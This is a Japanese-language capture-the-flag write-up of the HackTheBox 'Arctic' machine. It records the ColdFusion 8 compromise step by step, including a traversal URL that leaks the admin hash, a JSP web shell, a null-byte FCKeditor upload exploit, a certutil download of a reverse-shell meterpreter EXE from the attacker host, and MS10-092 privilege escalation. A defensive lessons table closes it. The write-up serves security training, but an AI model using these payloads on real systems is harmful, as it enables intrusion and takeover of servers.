HackTheBox: Arctic — 全実行コマンド・実行結果レポート
Nmap スキャン
8500(ColdFusion/JRun)検出
→
8500(ColdFusion/JRun)検出
CVE-2010-2861
locale traversalでadminハッシュ漏洩(副次)
→
locale traversalでadminハッシュ漏洩(副次)
CVE-2009-2265
FCKeditor nullbyte JSPアップロード
→
FCKeditor nullbyte JSPアップロード
ARCTIC\tolis シェル
user.txt ✓
→
user.txt ✓
certutil配送 → meterpreter
EXEステージャ経由
→
EXEステージャ経由
MS10-092
Task Scheduler schelevator
→
Task Scheduler schelevator
NT AUTHORITY\SYSTEM
root.txt ✓
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャン
BASH
nmap -Pn -p 80,135,8500,49154 -sV -sC --max-retries 2 10.129.84.4
RESULT
PORT STATE SERVICE VERSION
80/tcp filtered http
135/tcp open msrpc Microsoft Windows RPC
8500/tcp open http JRun Web Server
|_http-title: Index of /
49154/tcp open msrpc Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
🚨
80番はfiltered、実際のWebサービスは8500番のJRun(ColdFusion 8)。
タイトルが
Index of /のままなのは既定のColdFusion 8インストールに
特徴的であり、公開済みの重大な脆弱性群(CVE-2009-2265, CVE-2010-2861)が
存在するバージョンだと推測できる。
ColdFusion管理画面の確認
BASH
curl -s -i http://10.129.84.4:8500/CFIDE/administrator/enter.cfm
RESULT
HTTP/1.1 200 OK
Server: JRun Web Server
Content-Type: text/html
<title>ColdFusion Administrator Login</title>
...
ℹ️
/CFIDE/administrator/enter.cfmの存在が確認でき、
Adobe ColdFusion 8の管理画面であることが確定した。
PHASE 2
脆弱性解析 — CVE-2010-2861 (副次) & CVE-2009-2265 (本線)
CVE-2010-2861: locale パラメータ ディレクトリトラバーサル
BASH
curl -s "http://10.129.84.4:8500/CFIDE/administrator/enter.cfm?locale=../../../../../../../../ColdFusion8/lib/password.properties%00en"
RESULT
rdspassword=
password=2F635F6D20E3FDE0C53075A84B68FB07DCEC9B03
⚠️
localeパラメータが正規化なしでファイルパスとして渡されており、
%00(nullバイト)で拡張子検証を回避しつつ../で
任意ファイル読み取りが可能。password.propertiesから
ColdFusion管理者パスワードのSHA1ハッシュが漏洩する
(今回はadmin管理画面への侵入には使わず、RCEの副次的な確認材料として記録)。
ハッシュのクラック
BASH
echo "2F635F6D20E3FDE0C53075A84B68FB07DCEC9B03" > arctic_cf_hash.txt hashcat -m 100 -a 0 arctic_cf_hash.txt /usr/share/wordlists/rockyou.txt
RESULT
2f635f6d20e3fde0c53075a84b68fb07dcec9b03:happyday
Session..........: hashcat
Status...........: Cracked
ℹ️
SHA1(mode 100)として
happydayにクラック成功。
ColdFusion管理者パスワードが判明したが、本チェーンではFCKeditorの
未認証RCE(CVE-2009-2265)の方が直接的かつ確実なため、
こちらは管理画面へのログインには使用せず参考情報として記録するにとどめた。
CVE-2009-2265: FCKeditor ファイルアップロード の仕組み
NOTE
ColdFusion 8 に同梱される FCKeditor は、アップロードファイル名(filename)に .jsp/.cfm 等の危険な拡張子が含まれる場合はアップロード自体を拒否する (レスポンスコード202)。しかし保存先ディレクトリを決める CurrentFolder パラメータには拡張子チェックが掛からないため、以下のテクニックが成立する: CurrentFolder=/shell.jsp%00 ← null byte 注入で "実際の保存パス" を操作 filename=report.txt ← アップロード検証をパスする安全な拡張子 FCKeditorはCurrentFolder値をnullバイトで切り詰めて実際のファイル名として 解釈するため、サーバー上には filename の拡張子チェックを一切受けずに "shell.jsp" として保存される。Metasploitの coldfusion_fckeditor モジュールが 使う手法と同一。
🚨
C:\Windows\Tempは書き込み不可だが、アップロード先の
C:\ColdFusion8\wwwroot\userfiles\file\はWeb公開ディレクトリかつ
書き込み可能 — アップロードしたJSPに直接HTTPでアクセスして実行できる。
PHASE 3
FCKeditor nullbyte アップロードRCE & user.txt
JSP Webシェルの作成
manual_shell.jsp
<%@ page import="java.io.*"%><%
String c=request.getParameter("cmd");
if(c!=null){
Process p=Runtime.getRuntime().exec(new String[]{"cmd.exe","/c",c});
InputStream is=p.getInputStream();
byte[] b=new byte[65536]; int n;
StringBuffer sb=new StringBuffer();
while((n=is.read(b))!=-1){sb.append(new String(b,0,n));}
out.print(sb.toString());
}
%>
nullbyte注入アップロード
HTTP (curl, multipart)
curl -F "newfile=@manual_shell.jsp;filename=report.txt;type=application/x-java-archive" \ "http://10.129.84.4:8500/CFIDE/scripts/ajax/FCKeditor/editor/filemanager/connectors/cfm/upload.cfm?Command=FileUpload&Type=File&CurrentFolder=/manual_shell.jsp%00"
RESULT
<script type="text/javascript">
window.parent.OnUploadCompleted( 0,
"/userfiles/file/manual_shell.jsp /xxxxxxxx.txt",
"xxxxxxxx.txt", "0" );
</
✅
レスポンスコード0(成功)。実際のファイルは
filenameで
指定した安全な拡張子(.txt)ではなく、CurrentFolderの
nullバイト注入によって.jspとして保存されている —
http://10.129.84.4:8500/userfiles/file/manual_shell.jsp
として直接アクセス可能。
Webシェル動作確認
BASH
curl -s "http://10.129.84.4:8500/userfiles/file/manual_shell.jsp?cmd=whoami"
RESULT
arctic\tolis
ℹ️
ColdFusion/JRunサービスは
tolisユーザーのコンテキストで
動作しており、そのままコマンド実行できる。なおこのJRunサービスは
今回のインスタンスでは応答が非常に遅く(1リクエストあたり40〜90秒超)、
curl --max-timeは60〜90秒程度の余裕を持たせる必要があった
(サービス自体がクラッシュ/劣化しているわけではなく、単に遅い)。
user.txt取得
BASH
curl -s --max-time 60 "http://10.129.84.4:8500/userfiles/file/manual_shell.jsp" \ --data-urlencode "cmd=type C:\Users\tolis\Desktop\user.txt" -G
RESULT
e4dc07c6321fa1dac2904e0002809e69
user.txt — tolis@ARCTIC
e4dc07c6321fa1dac2904e0002809e69
PHASE 4
MS10-092 schelevator で SYSTEM 昇格 & root.txt
meterpreter EXE 生成 & certutil配送
BASH
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.15.200 LPORT=4530 -f exe -o arctic_final.exe python3 -m http.server 8097 --bind 0.0.0.0 # EXEをホスト curl -s --max-time 90 "http://10.129.84.4:8500/userfiles/file/manual_shell.jsp" --data-urlencode \ "cmd=certutil.exe -urlcache -split -f http://10.10.15.200:8097/arctic_final.exe C:\ColdFusion8\wwwroot\userfiles\file\arctic_final.exe" -G
RESULT
**** Online ****
0000 ...
1e00
CertUtil: -URLCache command completed successfully.
ℹ️
PowerShellなしのLiving-off-the-land手法。
C:\Windows\Tempは
書き込み不可だが、FCKeditorのアップロード先(Web公開ディレクトリ)は
書き込み可能なため、そこへEXEを配送する。
multi/handler起動 & EXE実行トリガー
BASH (msfconsole)
use exploit/multi/handler set PAYLOAD windows/x64/meterpreter/reverse_tcp set LHOST 10.10.15.200 set LPORT 4530 set ExitOnSession false exploit -j
HTTP (webshell経由トリガー)
curl -s "http://10.129.84.4:8500/userfiles/file/manual_shell.jsp" \ --data-urlencode "cmd=start /b C:\ColdFusion8\wwwroot\userfiles\file\arctic_final.exe" -G
RESULT
[*] Started reverse TCP handler on 10.10.15.200:4530
[*] Sending stage (232006 bytes) to 10.129.84.4
[*] Meterpreter session 1 opened (10.10.15.200:4530 -> 10.129.84.4:50026)
ARCTIC\tolis @ ARCTIC
ms10_092_schelevator 実行
BASH (msfconsole)
use exploit/windows/local/ms10_092_schelevator set PAYLOAD windows/exec set CMD "cmd.exe /c copy C:\users\administrator\desktop\root.txt C:\ColdFusion8\wwwroot\userfiles\file\r00t_manual.txt" set SESSION 1 set ForceExploit true set AutoCheck false set VERBOSE true exploit
RESULT
[!] AutoCheck is disabled, proceeding with exploitation
[*] Preparing payload at C:\Users\tolis\AppData\Local\Temp\MzmonFDjMmsnu.exe
[*] Creating task: kmqbkFzS
[*] [Task Scheduler] executing command: schtasks /create /tn "kmqbkFzS" /tr "...\MzmonFDjMmsnu.exe" /sc MONTHLY /mo 1 /st 00:00:00 /ru ARCTIC\tolis /f
[*] Reading the task file contents from C:\Windows\system32\tasks\kmqbkFzS...
[*] Original CRC32: 0xcdb7c1ce
[*] Final CRC32: 0xcdb7c1ce
[*] Writing our modified content back...
[*] Validating task: kmqbkFzS
[*] [Task Scheduler] executing command: schtasks /query /tn kmqbkFzS /v /fo csv /hresult
[*] Disabling the task...
[-] ERROR: The specified task name "kmqbkFzS" does not exist in the system.
[-] Exploit aborted due to failure: unknown: Could not disable task
⚠️
既知の挙動: schelevatorは改変したタスク定義ファイルを
schtasks /queryで検証後、本来はタスクを無効化してから実行するが、
このターゲットではタスクが検証直後に既に自動実行・自己削除
されてしまい、後続の「無効化」ステップが対象を見失ってエラーになる競合状態
(レース)が発生する。しかしペイロード(root.txtのコピー)自体は
タスク実行時点で既に成功しているため、このエラーは実害がない
— モジュールの後処理フェーズのみが失敗する既知のタイミング問題。
root.txt取得
HTTP
curl -s "http://10.129.84.4:8500/userfiles/file/r00t_manual.txt"
RESULT
97f174dddfc4ca15615bb10a464e9beb
root.txt — Administrator@ARCTIC
97f174dddfc4ca15615bb10a464e9beb
✅
タスクスケジューラ経由で
copyコマンドをSYSTEM権限で実行し、
root.txtをColdFusionのWeb公開ディレクトリへコピーすることで、
インタラクティブなSYSTEMシェルを確立せずにフラグをHTTP経由で回収できた
(PAYLOAD=windows/exec採用の理由)。
後片付け(ターゲット上のアーティファクト削除)
BASH
curl -s "...manual_shell.jsp" --data-urlencode "cmd=taskkill /F /IM arctic_final.exe" -G curl -s "...manual_shell.jsp" --data-urlencode "cmd=cmd.exe /c del ...\arctic_final.exe" -G curl -s "...manual_shell.jsp" --data-urlencode "cmd=cmd.exe /c del ...\r00t_manual.txt" -G curl -s "...manual_shell.jsp" --data-urlencode "cmd=cmd.exe /c del ...\manual_shell.jsp" -G # 自己削除
ℹ️
配送したEXE・コピーしたフラグ・Webシェル自身をすべて削除し、
ターゲットを検証前の状態に戻した。
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — tolis@ARCTIC
e4dc07c6321fa1dac2904e0002809e69
root.txt — Administrator@ARCTIC
97f174dddfc4ca15615bb10a464e9beb
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| CVE-2010-2861 | ColdFusion 8 CFIDE administrator (locale) | 認証なしの任意ファイル読み取り | Medium | 副次的な確認 — password.propertiesから管理者SHA1
ハッシュを漏洩させクラック可能(happyday)だが、
本チェーンの侵入経路としては使用せず |
| CVE-2009-2265 | ColdFusion 8 FCKeditor (CFM connector) | 未認証リモートコード実行 | Critical | CurrentFolderへのnullバイト注入で拡張子フィルタを
回避し、安全な拡張子のアップロードを装って実際には.jsp
Webシェルを保存 → user.txt取得可能なtolisシェルを獲得 |
| MS10-092 (CVE-2010-3338) | Windows Task Scheduler | 一般ユーザー権限からのSYSTEM昇格 | Critical | タスク定義ファイルのCRC検証不備を突き、任意コマンドを SYSTEM権限で実行 → root.txt取得 |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap(8500) + ColdFusion管理画面確認 | ColdFusion 8 / JRun検出 |
| 2 | 脆弱性解析(副次) | CVE-2010-2861 locale traversal | 管理者SHA1ハッシュ漏洩+クラック成功(未使用) |
| 3 | フットホールド | CVE-2009-2265 FCKeditor nullbyte upload | user.txt(tolisシェル) |
| 4 | ペイロード配送 | msfvenom EXE + certutil | meterpreter EXE配置 |
| 5 | 権限昇格 | ms10_092_schelevator | root.txt(SYSTEM権限でのファイルコピー) |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| 2009年公開の既知脆弱性(CVE-2009-2265, FCKeditor nullbyteアップロード)が 未パッチのまま稼働している | ColdFusion 8 / FCKeditorは開発終了・非推奨。使用を中止し、 最新のColdFusion(アップロード検証を強化済み)へ移行する。 アップロード先ディレクトリをWeb実行可能な場所に置かない。 |
| ファイル名(filename)と保存先パス(CurrentFolder)という2つの パラメータで別々に拡張子検証が行われ、片方(CurrentFolder)が 検証漏れになっている設計不備 | アップロード機能では「実際に保存されるファイル名」を単一の 正規化済みパラメータから算出し、拡張子ホワイトリストを 最終的な保存パスに対して一箇所でのみ検証する。 |
| ディレクトリトラバーサル(CVE-2010-2861)により管理者パスワードの ハッシュが未認証で取得可能 | ユーザー入力由来のパス要素(locale等)はパストラバーサル
サニタイズ(../除去・絶対パス化後の許可リスト確認)を
必須化する。password.properties等の機密情報は
Webプロセスの読み取り権限外に配置する。 |
| 2010年公開のWindowsタスクスケジューラ脆弱性(MS10-092)が 未パッチ | Windows Updateを定期適用し、タスク定義ファイルの整合性検証 (CRC32のような脆弱な方式ではなく暗号学的に安全な署名)を 備えたバージョンへ更新する。 |

